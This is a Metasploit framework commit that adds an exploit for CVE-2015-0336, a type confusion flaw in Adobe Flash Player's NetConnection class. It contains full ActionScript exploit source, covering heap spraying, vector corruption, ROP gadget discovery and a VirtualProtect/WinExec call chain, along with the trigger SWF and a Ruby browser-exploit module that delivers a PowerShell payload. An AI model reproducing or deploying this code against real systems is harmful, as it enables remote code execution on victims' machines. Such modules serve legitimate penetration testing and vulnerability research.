Land #5305, CVE-2015-0336 Flash NetConnection Type Confusion
wchen-r7
commit
4b0f54f0aa
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// Build how to:
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// 1. Download the AIRSDK, and use its compiler.
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// 2. Download the Flex SDK (4.6)
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// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
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// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
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// 4. Build with: mxmlc -o msf.swf Msf.as
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// It uses original code from @hdarwin89 for exploitation using ba's and vectors
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package
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{
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import flash.utils.*
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import flash.display.*
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import flash.system.*
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import mx.utils.Base64Decoder
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public final class Msf extends Sprite {
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private var interval_id:uint;
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private var trigger_swf:String = ""
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private var b64:Base64Decoder = new Base64Decoder();
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private var payload:String = ""
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private var spray:Vector.<Object> = new Vector.<Object>(89698 + 100)
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private var corrupted_index:uint = 0
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private var restore_required:Boolean = false
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private var uv:Vector.<uint>
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private var ba:ByteArray = new ByteArray()
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private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
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private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
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public function Msf() {
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b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
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payload = b64.toByteArray().toString();
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trigger_swf = LoaderInfo(this.root.loaderInfo).parameters.tr
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ba.endian = "littleEndian"
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ba.length = 1024
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ba.writeUnsignedInt(0xdeedbeef)
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ba.position = 0
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var i:uint = 0
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while (i < 89698) {
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spray[i] = new Vector.<uint>(1014)
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spray[i][0] = 0xdeadbeef
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spray[i][1] = 0xdeedbeef
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spray[i][2] = i
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spray[i][29] = 0x1a1e1429
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i++
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}
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for(i = 0; i < 89698; i = i + 1) {
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spray[i].length = 0x1e
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}
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for(i = 0; i < 100; i = i + 1) {
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spray[i + 89698] = new Vector.<Object>(1014)
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spray[i + 89698][0] = ba
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spray[i + 89698][1] = this
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spray[i + 89698][2] = stack
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spray[i + 89698][3] = payload_space
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}
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for(i = 0; i < 100; i = i + 1) {
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spray[i + 89698].length = 114
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}
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var trigger_byte_array:ByteArray = createByteArray(trigger_swf)
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trigger_byte_array.endian = Endian.LITTLE_ENDIAN
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trigger_byte_array.position = 0
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// Trigger corruption
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var trigger_loader:Loader = new Loader();
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trigger_loader.loadBytes(trigger_byte_array);
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interval_id = setTimeout(exploit, 2000)
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}
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public function createByteArray(hex_string:String) : ByteArray {
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var byte:String = null;
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var byte_array:ByteArray = new ByteArray();
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var hex_string_length:uint = hex_string.length;
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var i:uint = 0;
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while(i < hex_string_length)
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{
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byte = hex_string.charAt(i) + hex_string.charAt(i + 1);
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byte_array.writeByte(parseInt(byte,16));
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i = i + 2;
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}
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return byte_array;
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}
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public function exploit():void {
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clearTimeout(interval_id)
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for(var i:uint = 0; i < spray.length; i = i + 1) {
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if (spray[i].length != 0x1e) {
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corrupted_index = corrupt_vector_uint(i)
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restore_required = true
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uv = spray[corrupted_index]
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uv[0] = 0x1a1e3000 // We're being confident about the spray for exploitation anyway :-)
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control_execution()
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if (restore_required) {
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restore_vector_uint()
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}
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break;
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}
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}
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}
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// make it better, search and return error if it doesn't work :-)
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public function corrupt_vector_uint(index:uint):uint {
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spray[index][0x3fe] = 0xffffffff
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return spray[index][0x402]
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}
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public function restore_vector_uint():void {
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var atom:uint = spray[corrupted_index][0x3fffffff]
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spray[corrupted_index][0x3ffffbff] = atom
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spray[corrupted_index][0x3ffffbfe] = 0x1e
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// Restore vector corrupted by hand
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spray[corrupted_index][0x3ffffffe] = 0x1e
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}
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public function control_execution():void {
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// Use the corrupted Vector<uint> to search saved addresses
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var object_vector_pos:uint = search_object_vector()
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if (object_vector_pos == 0xffffffff) {
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return
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}
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var byte_array_object:uint = uv[object_vector_pos] - 1
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var main:uint = uv[object_vector_pos + 1] - 1
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var stack_object:uint = uv[object_vector_pos + 2] - 1
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var payload_space_object:uint = uv[object_vector_pos + 3] - 1
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// Use the corrupted Vector<uint> to disclose arbitrary memory
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var buffer_object:uint = vector_read(byte_array_object + 0x40)
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var buffer:uint = vector_read(buffer_object + 8)
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var stack_address:uint = vector_read(stack_object + 0x18)
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var payload_address:uint = vector_read(payload_space_object + 0x18)
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var vtable:uint = vector_read(main)
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// Set the new ByteArray length
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ba.endian = "littleEndian"
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ba.length = 0x500000
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// Overwite the ByteArray data pointer and capacity
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var ba_array:uint = buffer_object + 8
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var ba_capacity:uint = buffer_object + 16
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vector_write(ba_array)
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vector_write(ba_capacity, 0xffffffff)
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// restoring the corrupted vector length since we don't need it anymore
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restore_vector_uint()
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restore_required = false
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var flash:uint = base(vtable)
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var winmm:uint = module("winmm.dll", flash)
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var kernel32:uint = module("kernel32.dll", winmm)
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var virtualprotect:uint = procedure("VirtualProtect", kernel32)
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var winexec:uint = procedure("WinExec", kernel32)
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var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
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var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
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// Continuation of execution
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byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
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byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
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byte_write(0, "\x89\x03", false) // mov [ebx], eax
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byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
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// Put the payload (command) in memory
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byte_write(payload_address + 8, payload, true); // payload
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// Put the fake vtabe / stack on memory
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byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
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byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
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byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
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byte_write(0, virtualprotect)
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// VirtualProtect
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byte_write(0, winexec)
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byte_write(0, buffer + 0x10)
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byte_write(0, 0x1000)
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byte_write(0, 0x40)
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byte_write(0, buffer + 0x8) // Writable address (4 bytes)
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// WinExec
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byte_write(0, buffer + 0x10)
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byte_write(0, payload_address + 8)
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byte_write(0)
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byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
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toString() // call method in the fake vtable
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}
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private function search_object_vector():uint {
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var i:uint = 0;
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while (i < 89698 * 1024){
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if (uv[i] == 114) {
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return i + 1;
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}
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i++
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}
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return 0xffffffff
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}
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// Methods to use the corrupted uint vector
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private function vector_write(addr:uint, value:uint = 0):void
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{
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var pos:uint = 0
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if (addr > uv[0]) {
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pos = ((addr - uv[0]) / 4) - 2
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} else {
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pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
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}
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uv[pos] = value
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}
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private function vector_read(addr:uint):uint
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{
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var pos:uint = 0
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if (addr > uv[0]) {
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pos = ((addr - uv[0]) / 4) - 2
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} else {
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pos = ((0xffffffff - (uv[0] - addr)) / 4) - 1
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}
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return uv[pos]
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}
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// Methods to use the corrupted byte array for arbitrary reading/writing
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private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
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{
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if (addr) ba.position = addr
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if (value is String) {
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for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
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if (zero) ba.writeByte(0)
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} else ba.writeUnsignedInt(value)
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}
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private function byte_read(addr:uint, type:String = "dword"):uint
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{
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ba.position = addr
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switch(type) {
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case "dword":
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return ba.readUnsignedInt()
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case "word":
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return ba.readUnsignedShort()
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case "byte":
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return ba.readUnsignedByte()
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}
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return 0
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}
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// Methods to search the memory with the corrupted byte array
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private function base(addr:uint):uint
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{
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addr &= 0xffff0000
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while (true) {
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if (byte_read(addr) == 0x00905a4d) return addr
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addr -= 0x10000
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}
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return 0
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}
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private function module(name:String, addr:uint):uint
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{
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var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
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var i:int = -1
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while (true) {
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var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
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if (!entry) throw new Error("FAIL!");
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ba.position = addr + entry
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var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
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if (dll_name == name.toUpperCase()) {
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break;
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}
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}
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return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
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}
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private function procedure(name:String, addr:uint):uint
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{
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var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
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var numberOfNames:uint = byte_read(eat + 0x18)
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var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
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var addressOfNames:uint = addr + byte_read(eat + 0x20)
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var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
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for (var i:uint = 0; ; i++) {
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var entry:uint = byte_read(addressOfNames + i * 4)
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ba.position = addr + entry
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if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
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}
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return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
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}
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private function gadget(gadget:String, hint:uint, addr:uint):uint
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{
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var find:uint = 0
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var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
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var value:uint = parseInt(gadget, 16)
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for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
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return addr + i
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}
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}
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}
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@ -0,0 +1,60 @@
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<?xml version="1.0" encoding="utf-8"?>
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<project version="2">
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<!-- Output SWF options -->
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<output>
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<movie outputType="Application" />
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<movie input="" />
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<movie path="trigger.swf" />
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<movie fps="30" />
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<movie width="800" />
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<movie height="600" />
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<movie version="0" />
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<movie minorVersion="0" />
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<movie platform="Custom" />
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<movie background="#FFFFFF" />
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</output>
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<!-- Other classes to be compiled into your SWF -->
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<classpaths>
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<class path="src" />
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</classpaths>
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<!-- Build options -->
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<build>
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<option verbose="False" />
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<option strict="False" />
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<option infer="False" />
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<option useMain="True" />
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<option useMX="False" />
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<option warnUnusedImports="False" />
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<option traceMode="FlashConnectExtended" />
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<option traceFunction="" />
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<option libraryPrefix="" />
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<option excludeFile="" />
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<option groupClasses="False" />
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<option frame="1" />
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<option keep="True" />
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</build>
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<!-- Class files to compile (other referenced classes will automatically be included) -->
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<compileTargets>
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<compile path="src\Main.as" />
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</compileTargets>
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<!-- Assets to embed into the output SWF -->
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<library>
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<!-- example: <asset path="..." id="..." update="..." glyphs="..." mode="..." place="..." sharepoint="..." /> -->
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</library>
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<!-- Paths to exclude from the Project Explorer tree -->
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<hiddenPaths>
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<hidden path="obj" />
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</hiddenPaths>
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<!-- Executed before build -->
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<preBuildCommand />
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<!-- Executed after build -->
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<postBuildCommand alwaysRun="False" />
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<!-- Other project options -->
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<options>
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<option showHiddenPaths="False" />
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<option testMovie="Unknown" />
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<option testMovieCommand="" />
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</options>
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<!-- Plugin storage -->
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<storage />
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</project>
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@ -0,0 +1,18 @@
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// Build with FlashDevelop, its command line is:
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// fdbuild.exe "Trigger.as2proj" -ipc 22ef73b0-fe1e-4cd0-8363-4650575d43b6 -version "1.14" -compiler "C:\Program Files\FlashDevelop\Tools\mtasc" -notrace -library "C:\Program Files\FlashDevelop\Library"
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class Main
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{
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public static function main(swfRoot:MovieClip):Void
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{
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var _loc2_ = _global.ASnative(2100, 0x1a1e2000);
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var _loc3_ = new Object();
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_loc2_.__proto__ = _loc3_;
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_global.ASnative(2100, 200)(_loc3_); //Netconnection constructor
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_global.ASnative(2100, 8).apply(_loc2_, [1]); //NetConnection.farID
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}
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public function Main()
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{
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}
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}
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@ -0,0 +1,118 @@
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##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Powershell
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include Msf::Exploit::Remote::BrowserExploitServer
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Adobe Flash Player NetConnection Type Confusion',
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'Description' => %q{
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This module exploits a type confusion vulnerability in the NetConnection class on
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Adobe Flash Player. When using a correct memory layout this vulnerability allows
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to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like
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vectors, and finally accomplish remote code execution. This module has been tested
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successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit
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'Unknown', # Exploit in the wild
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'juan vazquez' # msf module
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],
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'References' =>
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[
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['CVE', '2015-0336'],
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['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'],
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['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'],
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['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'],
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['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'],
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['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/']
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],
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'Payload' =>
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{
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'DisableNops' => true
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script|headers/i,
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:os_name => OperatingSystems::Match::WINDOWS_7,
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:ua_name => Msf::HttpClients::IE,
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:flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') },
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:arch => ARCH_X86
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},
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'Targets' =>
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[
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[ 'Automatic', {} ]
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],
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'Privileged' => false,
|
||||
'DisclosureDate' => 'Mar 12 2015',
|
||||
'DefaultTarget' => 0))
|
||||
end
|
||||
|
||||
def exploit
|
||||
@swf = create_swf
|
||||
@trigger = create_trigger
|
||||
super
|
||||
end
|
||||
|
||||
def on_request_exploit(cli, request, target_info)
|
||||
print_status("Request: #{request.uri}")
|
||||
|
||||
if request.uri =~ /\.swf$/
|
||||
print_status('Sending SWF...')
|
||||
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Sending HTML...')
|
||||
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
|
||||
end
|
||||
|
||||
def exploit_template(cli, target_info)
|
||||
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
|
||||
target_payload = get_payload(cli, target_info)
|
||||
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
|
||||
b64_payload = Rex::Text.encode_base64(psh_payload)
|
||||
|
||||
trigger_hex_stream = @trigger.unpack('H*')[0]
|
||||
|
||||
html_template = %Q|<html>
|
||||
<body>
|
||||
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
|
||||
<param name="movie" value="<%=swf_random%>" />
|
||||
<param name="allowScriptAccess" value="always" />
|
||||
<param name="FlashVars" value="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" />
|
||||
<param name="Play" value="true" />
|
||||
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&tr=<%=trigger_hex_stream%>" Play="true"/>
|
||||
</object>
|
||||
</body>
|
||||
</html>
|
||||
|
|
||||
|
||||
return html_template, binding()
|
||||
end
|
||||
|
||||
def create_swf
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
|
||||
def create_trigger
|
||||
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf')
|
||||
swf = ::File.open(path, 'rb') { |f| swf = f.read }
|
||||
|
||||
swf
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue